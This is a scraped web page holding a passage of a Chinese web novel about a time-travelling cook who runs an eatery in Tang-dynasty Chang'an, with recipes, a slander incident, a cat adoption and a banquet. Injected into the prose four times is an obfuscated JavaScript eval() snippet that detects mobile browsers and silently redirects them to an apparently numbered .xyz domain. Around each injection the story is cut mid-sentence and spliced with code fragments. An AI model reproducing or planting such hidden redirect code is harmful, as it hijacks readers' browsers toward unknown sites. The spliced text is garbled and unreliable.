;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15811600|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和的笑，语气坚定地道：“小荷，昨天的琥珀肉就是你做的，客人都没有说不好吃。” 白荷娘感受到了娘子对她的认可，便也腼腆一笑，转头与元娘交谈起来。 见这两人将头凑在一起，小声说着些什么，说起自己擅长的一面，元娘脸上满是笑容，与刚来那会简直就是两个人。 杜昭华暗想，老板不好当呀，还要照顾好每个员工的心情，她可太贴心了！她暗暗地在心里夸奖自己一番，夕食吃得美滋滋的。 她们三人的第一顿夕食就这样愉快的结束了。 ...... 该说不说，这多了一个人帮忙就是好，杜昭华早上都有闲心浇花了，院子里的月季快开花了。 她已经想好了接下来要出的新菜式——糖醋排骨，酸酸甜甜的口味想必会很受欢迎。 有了元娘的加入，朝食的出餐速度明显提升了，然而杜昭华瞥了一眼排队队伍，感觉客人更多了。 有几个客人排着队，交头接耳说着什么，总是不经意间，目光就落在她身上，他们都很面生，杜昭华都不曾见过。 不等她细想，有哭嚎声传来。 “诶呦，大家快来看呐，杜记食肆的吃食有问题，我儿昨天吃了她家的东西，就吃坏肚子了，这会还在医馆躺着呀！”一老妪走过来直接就在食肆门口坐下，一边哽咽着，一边用袖子抹眼泪。 旁边的一些食客纷纷侧目，见她哭的这么可怜，不由也用狐疑的目光看向杜昭华，路过的行人都停下来看热闹，杜记在这个坊里现在可是很出名的，不是没有人眼红的。 人群里就有起哄的，装作跟一旁的人说悄悄话，实则声音不小，他旁边的人都听见了，“我说呢，前天我也拉肚子了，这不巧了，前天我也吃了杜记的那什么炸酱面。” 杜昭华从柜台后走出来，盯着老妪微低着的头，声音冷淡，但唇角却勾了抹笑：“请问昨日何时来的？又是吃了何物？” 老妪站起来，抬眼瞪了她一眼，语气尖锐道：“昨天中午在食肆吃午食了，下午就开始腹痛，后来实在是太疼了，我赶紧将我儿送到医馆去了。” 说到伤心处，又开始哽咽，擦拭眼角，“我的儿啊......我可怜的儿......” 杜昭华无视她的哭嚎，平静道：“吃了何物？” “就是那个什么桃花馄饨。”她也不知道这有什么好吃的，还经常有人说想买都买不到。 这下，不用杜昭华说什么，人群里的许多熟客看老妪的眼神都不对了，她眼角余光看到有人朝她指指点点。 抬头看去，胸口蓦然一紧，只见杜昭华微笑看着她，双眸确是冰冷的，再听到周围的议论声，老妪手心开始冒汗。 “桃花馄饨早在十天前，本店就没有做了。” 老妪眼珠一转，耍赖道：“那应该是我记错了，我年纪大了，记性不好。” 杜昭华冷笑，“既然你记性不好，那你怎么证明你儿子就是因为吃了我店里的食物，才吃坏肚子的，兴许也是你记错了。” 12. 糖醋排骨 这会多数客人都明白过来，不过是这个老妪在强词夺理。 有一客人大声道：“我几乎天天都来杜记吃朝食的，从没有出现任何问题，食肆每天都是打扫的干干净净，杜娘子她们都带着头巾，甚至脸上还罩着面巾，你少在这污蔑杜娘子。” 众人纷纷附和。 老妪一噎，眼见形势不好，意图偷溜。 杜昭华眼疾手快地拽住她，转头对在一旁看热闹看得津津有味的孙主簿道：“孙三郎，你是主簿，应该清楚按照《唐律》，污蔑人者该怎么处罚。” 被点名的孙三郎一怔，立即从人群中走出来站在杜昭华身旁，严肃道：“杜娘子，若是这老妪污蔑内容无实无据且造成严重后果，是可以被处以杖刑的。”他是往重了说的，像老妪这种小打小闹多是调解赔偿为主。 老妪一听孙主簿说要杖刑，吓得腿一软，直接跪在地上。 这时，坊间巡逻的武侯过来了，看到孙主簿也在，连忙行了一礼。 武侯问清缘由后，将瘫软在地上的老妪带走了。 人群渐渐散去，孙主簿一拍脑门，慌张道：“诶呀，光顾着看热闹，上衙要迟到了。”接过白荷娘手里的早食，急匆匆地离开了。 杜昭华扫视了一圈人群，先前那几个排队的人不见了，盯着孙主簿离开的背影，若有所思。 一旁的角落里，一女子急的在旁边直跺脚，“阿兄，怎么办呀？娘被抓走了，这可是要打板子的。” 另一名男子紧皱眉头，小声抱怨，“怪谁，我都说了去杜记吃完东西再闹，现在好了，被抓个正着。” 女子没好气道：“娘还不是想着省点钱吗？杜记可不便宜。”她家也不过是早晨在坊门口摆摊卖点蒸饼，也就挣些幸苦钱，只是最近生意一天不如一天，后来得知许多客人都去杜记吃早食了。 另一边，白荷娘见老妪被带走了，仍是有些气不过，气鼓鼓道：“这老妪就是仗着年纪大，在那装可怜，还想欺负娘子，她活该拉去打板子的。” 元娘在一旁点头，“下回还有这样的，娘子你不用拦着奴婢，这种撒泼耍赖的老妪，就是觉得娘子脸嫩，不好意思骂回去，论吵架，奴婢见过太多了，她比之乡下的差远了。” “我们毕竟是开门做生意的，没有必要去跟她吵，再说了，我特意让孙三郎替我们说话，武侯是不会将此事从轻处理的。”这都是熟人了，此时不利用，更待何时。 甚至出乎意料地好用，估摸那几人也是看在孙三郎的面上，不再作妖了。 ...... 糖醋排骨关键就在于酸和甜的平衡，要调配得当才行。 水中加盐、葱和姜片腌制排骨，这可以更好地去腥，用糖、醋、酒和酱油调配糖醋汁，其中注意醋要比糖多放一点。 锅中放姜片炒香，倒入焯过水的排骨，这时候煎一下排骨，然后就可以看到美丽的美拉德反应。 糖醋汁倒进去后加入开水，可以防止肉变老，小火炖到汤汁收尽，出锅前再加一点醋。 新品糖醋排骨限量上市了，小食肆对于这种精致小炒菜，只能这样了，杜昭华清点下存款，再次叹气，还得努力。 白荷娘小跑过去，凑在杜昭华耳边低声道：“娘子，有一个客人点了食肆里所有的菜肴。” 她抬眼看去，是一个身穿石青圆领长袍的男子，年纪四十岁左右，坐姿端正，不像其他人会靠着椅子。 “按照客人的要求上菜。”穿着得体，一看便知是个不缺钱的主。 等菜肴一一摆上桌，青袍男子才开始品鉴菜品。 他先夹起一块糖醋排骨，色泽红亮，凑近了能闻到一股浓郁的酸甜香味，令人不禁口中生津，入口是浓稠的糖醋汁，接着是稍微用力便脱骨了的排骨，肉质鲜嫩多汁，被酸甜恰到好处的酱汁包裹，酸甜交融，更加突出排骨的鲜美。 青袍男子微微颔首，转而尝了一口酿豆腐。 豆腐滑嫩，内陷咸鲜适中，这道菜妙在一个巧思，在豆腐中藏内陷。 细细品味豆腐，应该是在何记豆腐坊买的，长安也就他家的豆腐豆香浓郁，口感细腻。 端起一旁的紫苏饮，入口有淡淡的辛辣，随之而来的是轻微的甘甜，他抬眼打量了一眼食肆内的环境，很小，是他以前不会光顾的食肆。 有了前两道菜的铺垫，他也不由对后面的菜抱有期待，等他一一品尝过后，他满意地颔首，虽然比不上大酒楼的菜肴精致，味道还是很不错的。 杜昭华垂眸看着手里的银子，这是她收到的第一笔打赏钱，约有两贯，看来这人不是一般的有钱。 白荷娘双眼亮晶晶地盯着看，感叹道：“京城就是有钱人多。”这可是二两银呐，能满足长安普通家庭大半年的日常开销了。 在杜记食肆一派和谐时，同一个坊的葛记酒楼确是气氛凝重。 丁掌柜眉头都皱成了一个川字，“你们看清楚了？确定是孙主簿替她们出头了？” 一个伙计忙点点头道：“小的看清楚了，就是孙主簿。”这个坊的伙计就没有几个不认识他的，不说孙家就是本坊的勋贵之一。 就是孙主簿也就这两年当官才稳重些，早些年可没少与京城的贵族子弟们招猫逗狗的，之前还在他们酒楼和几个世家子弟打过架。 “还好你们还没动手。”这个小霸王他们惹不起，丁掌柜呼出一口气，刚呼出一半，想起什么，忙又问：“没有被发现吧。” 伙计有些不确定地道：“应该......是没有吧。” 丁掌柜瞪了伙计一眼，“怎么这点小事都办不好，还有怎么去之前不查一查她们的背景？” 伙计吓得一缩脖子，暗想，你也没有让我们去查啊，他们不过是听吩咐做事。 ...... 继上次烤羊排之后，杜昭华这次打算做孜然烤猪排，在这个没啥娱乐的古代，她唯一的乐趣也就是整点美食犒劳自己。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823817|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在等待排骨烤熟的过程中，她还抽空指点了下元娘做酿豆腐，元娘的厨艺是不错的，只是目前还不太擅长用铁锅炒菜。 就在这时，前店来了一个客人。 杜昭华瞧见了，往前店走去，笑道：“本店夕食还没有......”话未说完，对方转过身来，正是宋县尉。 宋君衍垂眼，随意般地问：“是在做炙羊排？”他闻到了从后院传来的安息茴香的味道。 杜昭华愣了一下，随即轻轻扬唇一笑，“今天做的是猪肉排骨，食肆的夕食还没有准备好。”言下之意，他来太早了。 他拿出一块碎银放在柜台上，轻敲了两下，悠悠地说：“前几日便听舍妹夸赞炙羊排很好吃，不知某今日能否尝下炙猪排？” 杜昭华暗忖，他送孜然作为谢礼的目的果然不纯，瞥了一眼那块碎银，目测有近一两。 她收回视线，笑着回答：“宋县尉想吃，那自然是没有问题的，还请稍等片刻。” 原本她们吃夕食都是在院子里吃的，既能看顾前店，在院子里吃也更敞亮些，这会儿有客人了，只好也在前店吃了，她们也没有时间等他吃完再吃，再晚点，就到了夕食营业时间了。 将烤排骨以及酿豆腐等匀出来一份给宋县尉，杜昭华等人找了一个离他远一些的桌案坐下开始吃饭。 在她吃了两块排骨后，发现了另外两人今晚格外的拘谨，也不怎么说话了。 杜昭华眨眨眼，她们也没少和孙主簿接触，孙主簿官阶还比宋县尉高，也没见她们这样啊。她用余光瞟了一眼，那位正在专注地吃饭。 不愧是世家出身，吃饭没有一点声音，速度倒是不慢。 宋君衍夹起一块金黄酥脆的排骨，炙肉的焦香与香料的的独特香气扑面而来，咬下去的瞬间，先是油脂的丰腴，随之咀嚼，内里肉质嫩滑多汁，混合着香料的辛辣与炙肉的烟熏气息。 杜娘子是将安息茴香磨成了粉末，约摸是如此才更入味的。 这边，杜昭华给两个只顾低头扒饭的人一人碗里一块排骨，“多吃点肉，你们这样会让我觉得今晚的排骨不好吃。” 白荷娘立即抬头笑道：“只要是娘子做的都好吃。” 元娘也忙不迭地点头，在厨艺这方面，她自愧不如。 “那就赶紧吃，待会还有的忙。” 两人经这一打岔，终于是放松了不少。 宋君衍耳朵微不可察地动了下，虽然她们说话特意压低了声音，他还是全都听到了，微一挑眉，她说的这话也没错，至少目前他吃到的都挺合他胃口的。 ...... “娘子，你之前说过想养一只猫，斜对面的张娘子说她家里有新生的小猫。”白荷娘正在勤勤恳恳地侍弄菜地，还不忘跟杜昭华说刚得知的消息。 杜昭华打太极的动作一顿，惊喜道：“那我准备一小包盐去聘猫。”她也要成为有猫一族了，现代的她对猫毛过敏，只能“望猫兴叹”！ 13. 鲈鱼羹 诗人陆游堪称“古代猫奴第一人”，为猫写过不少诗，“裹盐迎得小狸奴”便是他聘猫的过程。 本朝聘猫也是如此，家养的一般给主人家送盐、糖或者茶叶等，野生的可以用一包小鱼干。 杜昭华带着盐和纳猫契，聘回来一只狸花猫，三人皆好奇地打量竹篮里的猫。 是一只深棕色带有黑色斑纹的狸花猫，令杜昭华一眼相中的是它脖子下自带白色围兜，还有四只圆嘟嘟的白色的猫爪子，就好像套上了白手套。 “还要拜灶神吧。”白荷娘看着篮子里软乎乎的小奶猫，也是欣喜不已。 杜昭华颔首，“是的，先取个名字，你们说说看，叫什么名好。” 拜灶神也是聘猫的流程之一，灶神被视为家里的守护神，当有新的成员加入，拜灶神就是一种告知和祈求保佑的方式，也是体现了对猫的重视。 元娘取名很直接，看着黑狸猫道：“小黑？” 白荷娘就文雅一点，但不多，“黑奴？” 奴不是奴隶的意思，是一种表达宠爱的意思。 这两人是绕不过黑这个字了，杜昭华托腮思忖，“就叫富贵吧。”这是她朴实无华的愿望。 另外两人睁大了双眼看她，似是不敢相信自己听到的，虽然她们也想食肆赚多些银钱，但是这是能直接宣之于口的吗？ “君子爱财，取之有道，我爱财，不怕人知道。”富贵，这多好的寓意啊，杜昭华越想越满意。 “以后你就叫富贵。”篮子里的猫听懂了似的，发出“喵～”的一声小奶音。 杜昭华的心都要萌化了。 ...... 有了新成员的加入，杜昭华自觉干活更有动力了，更令她没有想到的是，富贵今天刚到家，就接到了一笔大订单。 “我家主人明日举办一个宴会，想请杜娘子去府上烹制几道菜待客。” 杜昭华垂眸看了一眼对方递过来的门贴，宣阳坊陶府。 不知为何，忽然想到了那天来食肆点了好几道菜的客人，还给了二两的打赏银。 她沉思了片刻，轻声笑道：“不知对菜肴有什么要求？” 陶管家沉稳道：“只要烹制五道菜即可，其中四道菜是琥珀肉、狮子头、酿豆腐以及糖醋排骨，另外还请娘子用鱼烹制一道菜。” 这对她来说不难，“府上可有铁锅？” 陶管家不知她为何问这个，还是回答道：“有的。” “我明日会准时到府上的。” 陶管家点点头，拿出一锭银子递给杜昭华，沉声道：“这是二十两定金，事成之后，会再给杜娘子一笔银子当报酬。” 杜娘子接过那沉甸甸地银锭，这还是来到古代第一次见到这种船型银锭，形似小船，她之前接触到的都是碎银和铜板。 送走陶管家后，她弯起唇角，喜滋滋地对站在一旁的白荷娘说，“今晚给富贵加餐。” 白荷娘担忧道：“明天娘子出去了，食肆怎么办。” 杜昭华闻言伸手拍了拍她肩膀，语重心长道：“你要对自己有信心，现在每道菜你都学会了，还有元娘帮你呢，不会有问题的。” 突然又想起一件事，接着说：“小荷，你还年轻，要给未来多做些准备，从今天开始，我教你识字。” 白荷娘嘟囔道：“娘子，我比你还大一岁。”想到还要学认字，她顿时觉得有重担压在了她身上，要是学不会，娘子会不会觉得她很笨？ “我已经这么大了，就不学认......” 杜昭华出口打断她，对她露出温和的笑容，说出的话确是不容置疑，“不行，你要学。” 她只好硬着头皮地说：“那我......会认真学的。” 富贵来到这个家的第一天，就美美地吃了一顿加餐，一个煮熟的鸡蛋黄。 翌日早上，杜昭华早早起来，换上了一身男装，对着看的不甚清晰的铜镜，一阵捯饬，特意将眉毛画的粗一些，脸涂抹地黑些。 等一切弄好出门，路过的白荷娘吓得差点尖叫出声，被杜昭华一把捂住嘴，“是我。” 听到是娘子的声音，白荷娘这才松了一口气，哭笑不得地说：“娘子为何这般打扮？”她倏然一顿，明白了为何，今天娘子要独自一人去陶府，谨慎些为好，“娘子这样打扮挺好的，我都没有认出娘子来。” 朝食吃完没有多久，陶府就派人来了，还是驾着马车来的，来人只有车夫，他并不知道陶府要请的是一个厨娘，只是听吩咐来杜记接人，因此，也就用不着杜昭华费心解释。 从陶府侧门进入，就被一个仆人引着去见管事嬷嬷。 庄嬷嬷见到来人，从头到脚打量了她一眼，皱了皱眉，却没有说什么。 杜昭华知道这个嬷嬷已看出她是女子身份，这算是默认了。 庄嬷嬷挑选了两个丫鬟给杜昭华打下手，便让人带她去小厨房，与她同行的还有一个有些胖的中年男子。 杜昭华察觉到有人在看她，抬眼看去，中年男子看她的眼神带着敌意。 甚至在接触到她的视线时，冷哼一声，“猪肉腥臊又难吃，如此难登大雅之堂的菜式，也出来丢人现眼。” 中年男子也就是徐三郎，他就是气不过，陶府每次办宴会，都会请他来做菜，不仅是陶府，宣阳坊的许多富贵人家，他也是去过的。 陶府这次居然还请了一个这么年轻的厨子，这也就算了，据说还是烹制猪肉的。 杜昭华面带微笑，故意低沉嗓音说：“将好的食材做的好吃，是锦上添花，不好的食材做的好吃，那才叫真有本事，你说呢？” 徐三郎一噎，只能瞪她一眼，还是个油嘴滑舌的，待会倒要看看她能做出什么美味来。 两拨人在岔路口分开，杜昭华往回廊左边走去。 说是小厨房，却比杜记的厨房大多了，一个灶台上并排着三个灶眼，最左边的放着一口铁锅，除去有两个丫鬟打下手，还有一个专门烧火的丫鬟。 杜昭华指挥她们先处理猪肉，她则打量了一眼那口大铁锅，说是她们主人爱吃巨胜奴和油堆之类的油炸点心，特意为此买了一口铁锅。 本朝用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838706|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁锅的人还是很少的，问题是有铁锅的人，也没有用来炒菜，估计功能也就仅限于用来油炸，陶釜在这方面确实差了许多。 东坡肉和狮子头放到灶上炖煮一段时间后，她才去看陶府采买回来的鱼，见有鲈鱼，想到了香滑软嫩的莼菜鲈鱼羹。 虽然没有莼菜，也可做鱼羹。 此时东坡肉的香味从砂锅的缝隙中飘出来，缕缕香气如游丝般钻入鼻腔，在一旁烧火的丫鬟平安最先闻到了，眼神不由自主地瞟向灶台。 另外两个小丫鬟也偷偷看去，还小声地讨论起来。 杜昭华正在专心地处理鱼，熟练地将鱼肉切双飞片，加盐和蛋清腌制。 锅中倒入鱼头鱼骨煎至金黄色，倒入开水熬煮，一刻钟后就能到奶白鲜香的鱼汤。 捞出鱼头鱼骨，放盐和胡椒，再放入鱼片，勾芡煮开就可出锅。 等最后一道菜也被端走后，杜昭华才放松下来，提出想要去更衣。 其中一个丫鬟春桃走出来，“郎君，请跟奴婢来。” 穿过回廊，再左拐右拐的，杜昭华不禁感慨，勋贵的宅邸是真大，她这会已经知道，这座宅邸的主人是陶县公。 春桃停下脚步，指着右边说：“郎君穿过花园，再往右走到底就到了。” 杜昭华颔首，抬脚往花园走去，幸好她不急，不然要绕这么一圈，真要命。 然而转角就遇到意外，不远处见一娘子被男子拦住了去路。 “素黎，那魏二郎凭什么值得你倾心，不仅长相平平，他还怕他夫人。”男子伸手拽住她。 春香立即上前去拉开他的手，愤然道：“快放手，我家娘子是陶县公特意邀请来的。” 男子嘲讽道：“区区陶县公还不能把我怎样，除了一个爵位外什么也不是。” 素黎冷笑：“郎君除了有一个当国公的父亲之外，还有什么？”况且还是个不受宠的。 男子被挑破内心深处地自卑，顿时恼羞成怒，抬手就想打人，抬到一半又放下，理智回笼，他确实不敢公然挑衅陶县公。 又不甘心就这样放素黎走，她作为北里南曲有名的都知之一，一些勋贵世家都会找她，凭他的身份，他抢不过那些人。 素黎见状垂下眼帘，掩住讥讽。 杜昭华走过去，背对他们，借助视角盲区，对着假山大声道：“陶县公。” 男子闻言倏地放开手，仓皇转身离去。 素黎抬眼看去，那位郎君转过身来，而他背后根本就没有人。 她行礼道：“奴家谢过郎君。” 杜昭华弯起唇角，温声道：“素黎，我说过我们还会见面的。” 素黎愕然抬头，对面的郎君，不，应该是娘子，见对方冲她眨眨眼。 那双眼如水杏，水眸清亮，是杜娘子。 “虽然很高兴见到你，但是我呢......”杜昭华不自在地咳嗽一声，“人有三急，我先行一步。”说完急匆匆地离开，她这会是真的有点急了！ 素黎噗嗤一笑，笑出了声，“春香，我们该去后院了。” 14. 陶府半日游 来到后院敞轩，素黎与其他伶人们会合。 伶人皆着新柳色罗衣，云髻高绾，插碧玉簪，随着奏乐声响起，伶人们跳起了绿腰舞，莲步轻移，身姿飘逸若风拂柳。 而一旁的亭子中早已开始推杯换盏。 陶县公并没有在朝为官，几代积累的家产相当丰厚，平常就喜欢游山玩水，他擅长丹青，并以此会友，时不时地就在家中举办宴会。 他好友李三郎也是个爱吃的，昨天去郊外游玩，一时兴起，摘了个野果吃，酸倒牙了，今天牙齿还是有点酸软。 本以为今天来就随便吃点，没有想到接二连三地吃到了适合他吃的菜肴，琥珀肉入口肥而不腻，肉质软烂入味，狮子头入口即化。 最后盛了一碗鱼羹，鱼汤呈奶白色，轻抿一口，鲜香的汤汁包裹细腻的鱼肉直接滑入喉间，“陶大郎，这鱼羹味道十分鲜美，那道叫做狮子头的，口感软嫩如豆腐，完全没有想到是猪肉做的” 坐在他身旁的人也点头附和。 陶县公摸了摸胡须，笑道：“也是偶然间去了一家小食肆，某尝了觉得味道还不错，便想让大家也尝个新鲜。” 有人便问是在哪家食肆吃的，也有人觉得去那种小食肆是自降身份，转头欣赏伶人跳舞。 这边宾主尽欢，更衣后的杜昭华却是看着再一次出现在眼前的花园，陷入了沉思。 她算不上是路痴，但是方向感有些差，明明也努力记了方向的，但是这会就是想不起来了。没有标志性的建筑，回廊连着的院子都十分相似，兜兜转转地又走回到花园。 不知是不是这座宅子主人少的缘故，仆人也少，再加上这会正是吃午食的时间，以至于没有碰见一个可以问话的。 杜昭华认命地往回走，行至岔路口选了另一个方向，在心里默默记路。 刚要从一条廊道向左转时，斜刺里闪过一个黑影，她刚要开口，却被那人一把捂住了嘴，惊呼卡在喉咙里发不出声。 抬眼对上一双漆黑如墨的眼眸，眸底情绪晦暗不明。 杜昭华慌乱地心跳却突然诡异地平静下来，又是一个熟人——宋县尉。 今天真是出门不利，一步一个坎。 宋君衍眸光微闪，示意噤声，便松开了手。 两人都只能贴着墙壁站着，杜昭华的左边就是一扇窗户，而他就站在转角处的阴影中，距离有限，因此两人几乎是并肩而立。 此时的杜昭华也透过窗户看到了院中树下站着一个人，不对，是两个人，另一个人被树遮挡了大半身体。 她微微眯起眼眸，看了一会才辨认出树下的人就是那个长相平平的魏二郎，只是距离有点远，完全听不见他们在说什么。 转过头去看宋君衍，难怪她刚才没有注意到这有人，他穿着墨色圆领襕衫，又借助阴影的掩护，将自己隐匿其中，若不仔细辨认，几乎难以察觉他的存在，想起上回见到的他的侍卫，真是有什么的主子，就有什么样的下属。 他正专注地盯着远处看，这是在查魏二郎？ 杜昭华的鼻尖嗅到一股香气，香气淡雅悠远，清冷如雪莲，而这香气来自身旁的人，她尽量动作放轻地、缓慢地往旁边挪了挪身子。 没想到他还分神关注她，依然看着远方，伸出的手却准确地抓住了她的手腕。 杜昭华立马不动了，可是她的肚子却不受控制地发出了“咕噜咕噜”的声音，从早上忙到现在，她还没有吃午食。 宋君衍的眸底闪过几不可察的一丝笑意，从怀里取出一包东西递给杜昭华。 她接过打开一看，是透花糍，宛如水晶般晶莹剔透的糕皮，隐约透出里头似花形的馅料，这是她只听说过，却未曾吃过的糕点。 糯米皮软糯而有弹性，馅料甜而不腻，她对糕点最高的评价是不甜，这透花糍就甜度适中，刚刚好。 只是糕点再好吃，这时还是更想吃大米饭，她揉了揉依旧空空的胃。 幸好没有让她等多久，院子里的两人走了。 杜昭华抬眸看了他一眼，低声道：“我今日不过是来陶府烹制菜肴的，出来的时间有点久了，得赶紧回小厨房，我先行一步。” 她没有打算隐瞒自己的身份，并没有压着声音说话，不过她就算想瞒，估计也瞒不住。 果然，宋君衍闻言一点都不惊讶，他盯着她的脸，悠悠地说：“去小厨房不该从这左转，沿着这条廊道直走，右转第二个院子。” 杜昭华沉默几秒，语气淡定从容，“那是我记错方向了，多些宋县尉指路。” ...... 几经波折，终于回到小厨房。 带杜昭华去更衣的春桃见她迟迟没有回来，又出去找她了，只是这回来的路上她也没有见到春桃。 她做菜是有多做一点的，多出来那小部份就是她的午食，府上也就不用安排她的午食，也算是变相地提供工作餐。 平安帮她将饭食都放在灶上保温，这会见她回来，忙起身端出来，“郎君，请用膳。” 四菜一汤摆放在一旁的小桌案上，顿时肉香四溢。 平安和另一个丫鬟夏荷都是吃过午食了的，这会闻着浓郁的肉香，都忍不住吞咽了下口水。 虽然每一份量都不多，但是杜昭华一人也是吃不完的，她正想着匀出些来让她们尝尝。 门外传来脚步声，杜昭华以为是春桃回来了，回身看向门口。 徐三郎是想过来看看那油嘴滑舌的郎君，能将腥臊的猪肉做成什么样的美食，然而等他一进门，就闻到了空气中的弥漫的肉香味。 平安和夏荷行礼道：“徐郎君。”这位是陶府的常客，时不时就被请来做菜。 徐三郎的目光逐一扫过桌案上的几道菜，牵起嘴角，“杜郎君果真好手艺，不介意某品尝一二吧。”闻起来是很香，就不知味道如何。 杜昭华微笑道：“请。”她拿出一个碗，每样菜都夹点递给平安，示意她们一起吃，也不管对面的徐三郎，自顾自吃起来。 徐三郎先盛了一碗鲈鱼羹，奶白色的汤底飘着展开后状如蝴蝶般的鱼肉，他啜饮一口鱼羹，汤汁鲜美醇厚，滑嫩细腻的鱼肉无需咀嚼，轻轻一抿，入口即化，鱼肉亦是鲜美甘甜，喝完只觉齿颊留香。 他抬眼细细打量一会杜昭华，京城何时出现了这样好手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852265|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺的厨子。 不同于他的细细品味，杜昭华吃饭速度就快多了，眼看着琥珀肉只剩一块，他赶紧夹到自己碗里。 颤巍巍的琥珀肉，入口瘦而不柴，肥而不腻，没有一点猪肉的腥臊味。 在稻米饭上淋上一点浓稠的酱汁，稍微拌一拌，肥肉直接融化在米粒中，他直接用羹勺舀起一勺米饭放进嘴里，油润的肉汁包裹着清香软糯的米饭、醇厚丰腴的琥珀肉，真是丰腴满口，砸巴嘴，令人回味无穷。 杜昭华已经吃得差不多了，正喝着鲈鱼羹，透过碗边瞥了一眼徐三郎，这位是真会吃，汤汁拌饭堪称绝妙搭配。 徐三郎是吃过午食才来的，本来只是想浅尝一下，然后凭借当厨子的十几年经验挑出对方的不足之处，可是，他垂眸看了一眼自己圆润的肚子，好像更圆了...... 他再抬眼看着桌案上一个个被清空的盘子和碗碟，更沉默了。 徐三郎咳嗽一声道：“早上是某错怪杜郎君了，烹饪猪肉的手艺相当不错，请问杜郎君师承何人？”这样的独门手艺，杜郎君如此年轻总不会是无师自通吧，他当年学厨艺都当了好几年的学徒。 杜昭华暗想，那可就多了，某度、某书以及某音，都是她的‘老师’。 她一本正经道：“某从未拜师，只不过看了一本书，由此得到些启发罢了。” 徐三郎怔了一下，试探性问道；“什么书？” “《齐民要术》。” 徐三郎有些怀疑自己听错了，可是杜郎君一脸的严肃认真，他不由想，难道是他孤陋寡闻了？《齐民要术》不是农书，而是菜谱？ 他还想问些什么，话未出口，庄嬷嬷带着两个丫鬟走了进来，春桃也一并跟在后面。 杜昭华收到了剩余的报酬，比她预想的还要高，足有五十两银子，是陶县公额外给了打赏银，才有这么多。 还真是大户的钱好挣，多来几个这样的，她说不定可以提前置业。 徐三郎看着杜郎君离开的背影，欲言又止，他还有好几个问题想问的...... ...... 回到食肆里，白荷娘迫不及待地跟她交代今天的营业情况，收到的银钱也早早整理好了。 杜昭华见她拿着一张纸说个不停，好奇地瞥了一眼，敢情还是加了密的，全是些圈圈叉叉，以及看不懂的符号。 白荷娘察觉到娘子的动作，不由脸一红，她之所以这么急着将收到的银钱转角给娘子，是怕时间一久，她就给忘了。 直到这时，她才懂了识字的重要性。 杜昭华拍了拍她的肩膀，笑着鼓励道：“没有食客说做的菜不好吃，今日之事，小荷做得不错。”这说明白荷娘的出餐很稳定，她余光瞥见元娘期期艾艾地目光，不由好笑，“元娘的厨艺也精进不少。” 元娘闻言矜持地道：“哪里哪里，还远远不上娘子。” 杜昭华暗想，元娘来这没有多久，性子倒是活泼不少，人果然还是得有事做才行，才不会有那么多的时间去胡思乱想。 时间就这样一天又一天过去，天气越来越热，食肆的菜单也要随季节更迭了。 15. 荷叶蒸鸡 清晨的后院之中，正值月季花开之际，深浅不一的红粉之色，由浅入深，外层浅粉似少女的腮红，带着几分羞涩。内里深粉如晕开的胭脂，色泽鲜艳却不失温柔。而最里层的那一抹红，艳丽似火，热烈奔放。 富贵是一只好奇心很强的猫，熟悉了家里的环境之后，每天犹如巡逻自己的领土般，这也要扒拉下，那也要瞅瞅，此刻就伸出它那白胖的猫爪，碰了下月季的枝干，一触即离。 它立即发出短促的“嘶嘶”声，对着月季花张嘴露牙。 即将炸毛之际，杜昭华轻柔地抚摸它头顶，轻挠它的下巴，她能感受到它喉部的震动，不时发出“咕噜咕噜”声，很明显被摸舒服了。 “富贵呀，我不养闲猫的，你要记住你的任务，夏天老鼠多，可不要辜负你捕鼠将的美名。” 还不满四个月的富贵不知是听懂了，还是只是想杜昭华继续抚摸它，发出“喵～凹”声。 杜昭华当它答应了，接着给富贵按摩。 这一幕让白荷娘忍俊不禁，娘子只要跟富贵待在一起，就跟一个小孩子似的。 她走到一旁的菜地，推开篱笆门，为防着富贵去嚯嚯地里的菜，还特意围了一圈篱笆，原先还觉得不算小的院子，这会她却觉得有些挤了。 